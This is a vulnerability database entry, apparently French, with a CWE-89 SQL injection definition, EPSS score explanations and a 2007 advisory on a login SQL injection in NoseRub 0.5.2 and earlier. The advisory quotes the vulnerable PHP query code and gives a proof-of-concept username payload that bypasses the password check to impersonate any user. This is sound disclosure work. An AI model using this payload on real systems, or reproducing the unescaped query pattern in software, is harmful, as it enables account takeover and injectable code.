|---|---|---|
| Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Advisory: NoseRub Login SQL Injection Vulnerability
Affected Versions: <= 0.5.2
Fixed Versions: current SVN
Risk: critical
Vendor URL: http://noserub.com
Vendor Status: informed, fixed version will be released soon
Advisory URL: http://seclog.de/pub/seclog-2007-001.txt
Advisory Status: public
Author: Felix Groebert <felix AT groebert DOT org>
Revision: 2007-12-26
Introduction
============
NoseRub is a protocol for and a sample implementation of a decentralized
social network.
Vulnerability
=============
The login script fails to validate user input. It is possible to insert
double quotes in order to escape the following SQL query:
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/USERNAME"
AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b' LIMIT 1
The query is generated at the end of the function check() in
app/models/identity.php:
return $this->find(array('Identity.hash' => '',
'Identity.username = "'. $username .'"',
'Identity.password' => md5($data['Identity']['password'])));
Proof of Concept
================
The SQL injection bug can be exploited by impersonating a registered user.
Go to: http://www.example.com/noserub/pages/login/
Login as: somereallogin " -- "
Password: unknownpassword
This results in the following SQL query, commenting out the fourth and fifth
lines using double dashes, thus maintaining valid SQL syntax.
SELECT `Identity`.`id`, `Identity`.`is_local`, [...]
FROM `identities` AS `Identity` WHERE `Identity`.`hash` = ''
AND `Identity`.`username` = "www.example.com/noserub/somereallogin"
-- "" AND `Identity`.`password` = 'f970e2767d0cfe75876ea857f92e319b'
LIMIT 1
Recommendation
==============
It is recommended to upgrade to NoseRub > 0.5.2.
A preliminary patched version of the affected file can be downloaded from
SVN revision 515:
http://noserub.googlecode.com/svn/trunk/app/models/identity.php
